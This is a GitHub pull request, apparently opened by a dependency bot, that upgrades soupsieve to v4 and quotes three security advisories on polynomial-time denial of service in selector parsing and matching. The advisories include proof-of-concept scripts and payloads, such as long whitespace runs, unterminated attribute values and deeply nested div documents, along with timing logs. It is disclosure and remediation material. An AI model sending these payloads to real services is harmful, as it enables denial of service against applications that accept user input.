Skip to content

chore(deps): update dependency soupsieve to v4 [security] - #1103

Open
renovate-bot wants to merge 1 commit into
taskcluster:mainfrom
renovate-bot:renovate/pypi-soupsieve-vulnerability
Open

renovate-bot wants to merge 1 commit into
taskcluster:mainfrom
renovate-bot:renovate/pypi-soupsieve-vulnerability

Conversation

@renovate-bot

@renovate-bot renovate-bot commented Nov 10, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
soupsieve 2.8.4 → 4.0 age confidence

Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex RE_WS_END (triggers on VALID selectors)

CVE-2026-85999 / GHSA-j934-xhv5-fg8f

More information

Details

Summary

Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors) — src/soupsieve/css_parser.py
##### line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset

##### selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern)                     # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.

Reproduction environment (discipline #​12 — published artifact)
  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_ws_trim.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py → same O(n²) (evidence: poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_ws_trim.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def ct(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel); st = "ok"
    except Exception as e:
        st = type(e).__name__
    return time.perf_counter() - t0, st

print(f"soupsieve {sv.__version__}\n")

print("VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
    dt, st = ct("a" + " " * n + "b")
    print(f"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)
soupsieve 2.9

VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):
  n=2000   len=2002        112.3 ms  [ok]
  n=4000   len=4002        411.5 ms  [ok]
  n=8000   len=8002       1602.9 ms  [ok]
  n=16000  len=16002      6464.1 ms  [ok]

VALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):
  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]
  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]
  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]
  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]

[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)
[+] wall time = 10.23 s   [ok]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)
soupsieve 2.8.4

VALID selector 'a' + ' '*n + 'b':
  n=2000   len=2002        102.7 ms  [ok]
  n=4000   len=4002        404.3 ms  [ok]
  n=8000   len=8002       1618.2 ms  [ok]
  n=16000  len=16002      6457.9 ms  [ok]
[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]
Impact — calibrated
  • Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.
Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Remediation
  • Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}*').match on a reversed-equivalent), so no per-offset retry occurs.
  • Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass *$ search.
  • Defense-in-depth: cap selector length before compiling.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Soup Sieve: Polynomial-time ReDoS (O(n²)) in the IDENTIFIER / VALUE selector sub-patterns

CVE-2026-86000 / GHSA-gjv8-xp57-g29c

More information

Details

Summary

soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.

Trust model (Q0)

The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.

Root cause (exact anchors) — src/soupsieve/css_parser.py
##### lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''

##### line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
  • classA [^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."
  • Both classes match ordinary letters (e.g. a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.

The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).

Reproduction environment (discipline #​12 — published artifact)
  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_compile.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def compile_time(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel)
        status = "ok"
    except Exception as e:
        status = type(e).__name__
    return (time.perf_counter() - t0), status

print(f"soupsieve {sv.__version__}\n")

print("Payload A: '[a=' + 'a'*n   (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
    dt, st = compile_time("[a=" + "a" * n)
    print(f"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]")

print("\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
    dt, st = compile_time("a" * n + "!")
    print(f"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)
soupsieve 2.9

Payload A: '[a=' + 'a'*n   (unterminated attribute value)
  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]
  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]
  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]
  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]

Payload B: 'a'*n + '!'   (identifier run + invalid trailing char)
  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]
  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]
  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]
  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]

[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)
[+] wall time = 18.28 s   [SelectorSyntaxError]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)
soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]
  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]
  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]
  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]
Impact — calibrated
  • Confirmed: quadratic CPU consumption per compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.
Remediation
  • Remove the adjacent-quantifier ambiguity in IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.
  • Alternatively use atomic grouping / possessive quantifiers where supported ((?>...), *+) to forbid backtracking into the identifier run.
  • Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Soup Sieve: Polynomial-time denial of service in the descendant combinator

CVE-2026-126190 / GHSA-mmhr-3c5m-f64f

More information

Details

Summary

Matching a selector that uses the descendant combinator (a b) takes time that grows polynomially with how deeply the document is nested, and each extra descendant combinator in the selector raises the degree by one. A selector with k descendant combinators takes O(n^(k+1)) time on a chain of n nested elements.

An attacker who controls the HTML or XML that an application passes to Soup Sieve (directly, or through Beautiful Soup's select(), select_one(), css.select(), etc.) can send a very small, deeply nested document that keeps a CPU busy for seconds to minutes against an ordinary selector such as section div div.

Details

To match a b, Soup Sieve checks each element against b and then walks up through its ancestors looking for one that matches a. When the selector has more descendant combinators, the rest of the selector is tried again from each ancestor on that walk, and so on for every combinator. Nothing was reused between walks, so the same ancestors were matched against the same part of the selector over and over.

The worst case is when the leftmost part of the selector never matches, as in section div div against a document of nested <div> with no <section>: every walk goes all the way to the root and no search can stop early.

Timings

Example timings with html.parser on Soup Sieve 3.0.4 and 4.0, using a document of nested <div> (5 bytes each) and no matches:

Nesting depth Input size Selector 3.0.4 4.0
2,000 10 KB section div 1.6 s 0.05 s
4,000 20 KB section div 5.1 s 0.01 s
400 2 KB section div div 6.7 s < 0.01 s
800 4 KB section div div 53.0 s < 0.01 s
100 0.5 KB section div div div 2.5 s < 0.01 s
200 1 KB section div div div 40.9 s < 0.01 s

None of these selectors use unusual syntax.

Proof of concept
import time
import bs4
import soupsieve as sv

soup = bs4.BeautifulSoup('<div>' * 200, 'html.parser')
t = time.process_time()
sv.select('section div div div', soup)
print(time.process_time() - t)

On affected versions, doubling the nesting depth multiplies the time by about 2^(k+1), where k is the number of descendant combinators: about 4x for section div, 8x for section div div, and 16x for section div div div.

Impact

Applications are affected if they run selectors with descendant combinators against documents that untrusted users can influence, such as scrapers, HTML sanitizers or filters, and services that process uploaded or fetched markup. Descendant combinators are among the most common parts of CSS selectors, and a document of about 1 KB is enough to tie up a worker for close to a minute. Applications that only run selectors against trusted documents are not affected.

Patches

Fixed in 4.0 by facelessuser/soupsieve#351. Whether an element is, or has an ancestor that is, a match for part of a selector depends only on its parent, so Soup Sieve now caches that result per element and relation for every element visited on the walk. Each descendant combinator is then linear in the size of the document. Results are unchanged, and ordinary documents are no slower.

Caching is enabled by default, so no changes are needed beyond upgrading. The NOCACHE flag is a temporary fallback for users who run into problems with caching, and it is planned for removal. It uses the old uncached matching, so selectors compiled with NOCACHE are still subject to polynomial time and shouldn't be used with descendant combinators on untrusted input.

Workarounds

If users can't upgrade:

  • Use as few descendant combinators as they can in selectors that run on untrusted documents. Where the structure of the
    document is known, the child combinator (a > b) only looks at the parent and is not affected.
  • Limit the size and nesting depth of untrusted documents before selecting on them.
  • Run selection on untrusted input with a time limit, for example in a worker process that can be stopped.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

facelessuser/soupsieve (soupsieve)

v4.0

Compare Source

4.0

  • BREAK: The contents of an HTML template are no longer treated as part of the document. Selectors do not
    descend into a template, and elements inside one can't see beyond it, which also applies to pseudo-classes such
    as :lang(), :disabled, and :default. select and filter will still reach the contents of a template when
    they are called on the template itself, for example soup.template.select('p'). See the
    FAQ for more information.
  • BREAK: The contents of an iframe are no longer treated as a separate document, as they are not one in a
    browser. Elements in an iframe are normal children, so :root does not match them, and :default,
    :indeterminate, :checked, :dir(), :lang(), and :read-write treat them like any other element. Recent
    versions of html.parser, lxml, and html5lib all escape the contents of an iframe like a browser does, so
    this mostly affects XHTML, Python versions that still don't escape such content in their specific html.parser,
    and elements added to an iframe by hand. :-soup-contains() now also includes the escaped text in an iframe.
    See the FAQ for more information.
  • NEW: Update :disabled and :enabled to treat option and optgroup elements inside a disabled select as
    disabled, following a recent HTML specification update.
  • FIX: Fix the subsequent-sibling combinator and :has(~ ...) never matching top level elements of a fragment
    that has no root element, unless caching was disabled.
  • FIX: :indeterminate now treats a radio button group without a form as extending across the whole document
    instead of the top level element that contains it, and it no longer ignores radio buttons at the top level.
  • FIX: Fix :default to treat a button with a missing or invalid type, and an input with type="image",
    as submit buttons.
  • FIX: Fix :in-range and :out-of-range raising TypeError when the document contains an input without a
    type attribute.
  • FIX: :read-write (and :read-only) now treat contenteditable="plaintext-only" elements as editing hosts and
    match the editable elements inside an editing host, following the nearest contenteditable state.
  • FIX: :read-write (and :read-only) now ignore contenteditable on non-HTML elements, such as an SVG
    foreignObject, as the attribute only applies to HTML elements. Such elements inherit the state of their parent.
  • FIX: :checked now only matches the last radio button with a checked attribute in a radio button group, as
    in a browser, where a group is the radio buttons with the same name and form, including the form attribute.
    :default still matches all of them, and the contents of a template are unaffected as they are not connected.
  • FIX: :dir() and :defined no longer affect the rest of the selector list they are in. Previously, a selector
    list that used either of them could not have its combinators cross an iframe, ignored the specified namespaces,
    and matched nothing in XML, not even the parts that didn't use them. They still do not match in XML, but
    :not(:dir(ltr)) and :not(:defined) now do.
  • FIX: :default and :indeterminate now honor the form attribute, which can associate a submit button or
    radio button with a form it is not in, or leave it without a form. It is ignored in a template, as in the HTML
    specification. Submit buttons outside of a form can now be its default button.
  • FIX: :default, :checked, and :indeterminate now handle a form inside a form like a browser. In HTML, a
    browser ignores the nested form and takes its end tag for that of the parent, which matters for parsers that keep
    the nested form, such as html.parser. In XHTML and in a template, nested forms are real forms.
  • FIX: :checked now matches the option that a browser would select. Without multiple, that is only the
    last option with a selected attribute in a select, and if there are none and the select shows a single
    option, the first option that is not disabled. :default still only considers the selected attribute.
  • FIX: Fix [attribute!=value] excluding values that only start with the specified value, and in XML documents,
    type values that contain a newline.
  • FIX: Match the values of every attribute that the HTML specification lists as ASCII case insensitive (rel,
    method, lang, dir, ...) without ASCII case sensitivity on HTML elements in HTML documents, not just type.
    Non-HTML elements are matched case sensitively.
  • FIX: :dir() now matches non-HTML elements, such as SVG and MathML, by the direction they inherit from their
    parent (the dir attribute only applies to HTML elements), and HTML elements inside them, such as in an SVG
    foreignObject, by the direction of their ancestors.
  • FIX: Fix :dir() ignoring the value of an input with dir="auto" and a missing or empty type.
  • FIX: :dir() now uses a table generated from Unicode 18 instead of unicodedata, so results no longer depend
    on the Unicode version of the Python in use, and unassigned code points use their default direction.
  • FIX: :dir() now uses the value of an input with dir="auto" when type is hidden, password, submit,
    reset, or button, as the HTML specification does.
  • FIX: dir="auto" and bdi now analyze the text of non-HTML elements, such as SVG and MathML, and only ignore
    HTML elements such as script, style, and bdi. The text directly in an iframe is analyzed as well, and the
    contents of a template, which are not part of the document, are not.
  • FIX: :dir() no longer lets the contents of a template inherit direction from the template or its
    ancestors, as they are not part of the document. They are left to right unless they specify otherwise.
  • FIX: :dir() now matches a bdi element that is the root by its text instead of assuming left to right.
  • FIX: :dir() now treats any element without a parent element as left to right, not just the root. Before,
    all but the first top level element of a fragment parsed with html.parser never matched.
  • FIX: :dir() now accepts any identifier, as CSS requires, including escaped ones. Values other than ltr and
    rtl do not match anything.
  • FIX: Respect namespaces provided by the parser when the root is not an HTML element, such as an svg element
    extracted from an html5lib document. Previously every element in such a tree was treated as an HTML element,
    which affected namespace selectors, namespaced attributes, and HTML specific pseudo-classes.
  • FIX: Fix :lang() treating an element with an empty lang or xml:lang attribute as having the language of
    a tagged ancestor.
  • FIX: Cache forms without a default button when matching :default to avoid quadratic time on forms with
    many non-default submit candidates.
  • FIX: Fix :in-range and :out-of-range matching elements whose value, min, or max has a trailing newline;
    per HTML, such values are not valid, so they are treated like a missing value and cannot be out of range.
  • FIX: Fix :in-range and :out-of-range raising ValueError when a date, month, week, or local date and
    time input has a year with more digits than Python will convert; such a year is now treated as invalid.
  • FIX: Fix :in-range and :out-of-range not recognizing a datetime-local value, min, or max that uses a
    single space instead of T to separate the date and time.
  • FIX: Search a form only once for checked radio buttons when matching :indeterminate to avoid quadratic time
    on forms with many radio button groups.
  • FIX: :lang() now uses the lang attribute of SVG elements, as the HTML specification does (with xml:lang
    taking precedence). Previously only xml:lang was considered for elements outside the HTML namespace.
  • FIX: :defined no longer matches HTML elements with an is attribute (customized built-in elements), which,
    like custom elements, are undefined until they are registered.
  • FIX: Cache the index of each child when matching the general sibling combinator (a ~ b and :has(~ b)) to
    avoid quadratic time when the first matching sibling is far into a long list of siblings.
  • FIX: Match attribute values with the i modifier using ASCII case insensitivity.
  • FIX: Treat an input with an unknown type, such as type="foo", as a text input in :placeholder-shown,
    :read-write, :read-only and :dir(), as an invalid type is in the Text state in the HTML specification.
  • FIX: Fix :enabled and :disabled never matching input elements with type="hidden".
  • FIX: :required no longer matches input elements of types the required attribute does not apply to
    (hidden, range, color, submit, image, reset and button). Like in browsers, they match :optional.
  • FIX: Cache whether an element is or has a matching ancestor when matching the descendant combinator (a b) to
    avoid time that grows with the depth of the document to the power of the number of combinators.

v3.0.4

Compare Source

3.0.4

  • FIX: Keep own and descendant text separate when combining :-soup-contains() and :-soup-contains-own().
  • FIX: Cache resolved directionality when matching :dir() to avoid quadratic time on deeply nested
    dir="auto" elements.
  • FIX: Fix auto handling in regard to :dir() selector. When an element with dir="auto" (or a <bdi>)
    contains no strong direction characters, it should be assumed as left-to-right and not assume the direction of the
    parent.
  • FIX: Match numeric input ranges correctly when values or bounds use scientific notation.
  • FIX: Fix :in-range and :out-of-range raising ValueError for week inputs whose week-year is 10000 or
    greater.
  • FIX: Fix :nth-last-child(an+b of S) matching the wrong elements when the first sibling tested does not
    match S.
  • FIX: escape() now only leaves non-ASCII identifier code points unescaped, as defined by the CSS specification.
    All other non-ASCII characters are escaped.
  • FIX: Allow unescaped U+0080 - U+009F characters in identifiers to match browser behavior.
  • FIX: Fix :in-range and :out-of-range treating time and datetime-local values with seconds as
    invalid.

v3.0.3

Compare Source

3.0.3

  • FIX: When matching with >, the BeautifulSoup object should not count as a parent.
  • FIX: Fix case where relative sibling matching under :has(~) would incorrectly match a sibling that came before
    the target element.

v3.0.2

Compare Source

3.0.2

  • FIX: Python versions less than 3.11.5 have broken possessive quantifiers, so require at least 3.11.5 for Soup
    Sieve 3.0+. 3.0 and 3.0.1 will be yanked from PyPI to avoid having the 3.0 series installed on Python < 3.11.5
    which will cause the library to be broken.

v3.0.1

Compare Source

3.0.1

  • FIX: Fix regression related to [attribute!=value] where previously it would match if the attribute was not
    present and recent changes broke that. Essentially, [attribute!=value] should be the same as
    :not([attribute=value]).

v3.0

Compare Source

3.0

  • BREAK: :has(), by default, now behaves according to CSS more strictly, disallowing complex selectors that use
    combinators and prevents nesting :has() within :has(). This gives a safer, more performant default for Soup
    Sieve. If in a safe environment, these restrictions can be lifted by passing the new NOSTRICT flag restoring
    behavior to before 3.0.
  • BREAK: Custom selectors must be provided in order. If one custom selector depends on another custom selector,
    the custom selector dependency must be defined first in the dictionary. This eliminates recursive processing of
    custom selectors. Users are encouraged to pre-compile custom selectors via
    my_selectors = soupsive.CustomSelectors({custm: selector, ...}).
  • NEW: Drop Python 3.10.
  • NEW: Aggressively use possessive quantifiers and atomic groups in CSS pattern parsing to reduce backtracking.
  • NEW: Eliminate recursion within the parser and the matcher.
  • NEW: Expose new parameter max_selectors that can be used to control the maximum allowed selectors in a given
    input.
  • FIX: A CSS escape that is a surrogate, or past the Unicode range, is U+FFFD. (#​307)

v2.10

Compare Source

2.10
  • NEW: Support Python 3.15.
  • NEW: Add new ignore option to API methods that allows the specification of specific pseudo-classes to be
    ignored.
  • NEW: Tighten restrictions such that namespaces and custom objects must always be a Mapping, previously lists
    of tuples were also allowed.
  • NEW: Use a singleton for null selectors internally via called Null of type SelectorNull.
  • NEW: For performance, Soup Sieve will no longer try and coerce bad attribute values to useable strings.
  • NEW: Add NOCACHE flag that can be used to disable caching optimizations selectors and possibly other future
    caching optimizations. Provided for disabling and also disabling if issues are found with the new caching approach.
  • FIX: Improve performance of ~ for various cases by employing caching.
  • FIX: Improve performance of nth-* family of selectors in certain scenarios by employing caching.
  • FIX: Ensure custom is properly passed down from API functions to compilation.

v2.9.2

Compare Source

2.9.2

  • FIX: Fix issue where :is() and :where() were not accounting for empty selectors in the max selector count as
    they should (@​arpitjain099).
  • FIX: Fix issue where :has() was allowing empty selectors in some circumstances even though it is not
    forgiving.
  • FIX: Reduce selector object size when :is() and :where() contain empty selectors.

v2.9.1

Compare Source

2.9.1
  • FIX: Correct [attr^=""], [attr$=""], and [attr*=""] to match nothing when the value is empty, per CSS
    Selectors Level 4 substring matching, which previously matched any element merely having the attribute
    (@​chuenchen309).

v2.9

Compare Source

2.9
  • NEW: Drop Python 3.9 support.
  • NEW: Lazy compile selector patterns to improve initial import speed.
  • FIX: Correct :nth-child/:nth-of-type (and -last- variants) for An+B values whose sequence steps onto
    index 0 or onto the last child (e.g. :nth-child(2n-2), :nth-child(n-1), :nth-child(n+5)), which previously
    matched the wrong elements or nothing at all (@​gaoflow).
  • FIX: More efficient CSS ID matching (@​kaimandalic).
  • FIX: Fix inefficient trimming of comments and white space (@​kaimandalic).

Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot
renovate-bot requested a review from a team as a code owner November 10, 2026 10:48

@jcristau jcristau left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nope...

@renovate-bot renovate-bot changed the title chore(deps): update dependency soupsieve to v2.9 [security] chore(deps): update dependency soupsieve to v4 [security] Nov 13, 2026
@renovate-bot
renovate-bot force-pushed the renovate/pypi-soupsieve-vulnerability branch from c9bf15d to ae8779f Compare November 13, 2026 05:27

@Eijebong Eijebong left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Still doesn't match the description 🙃

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants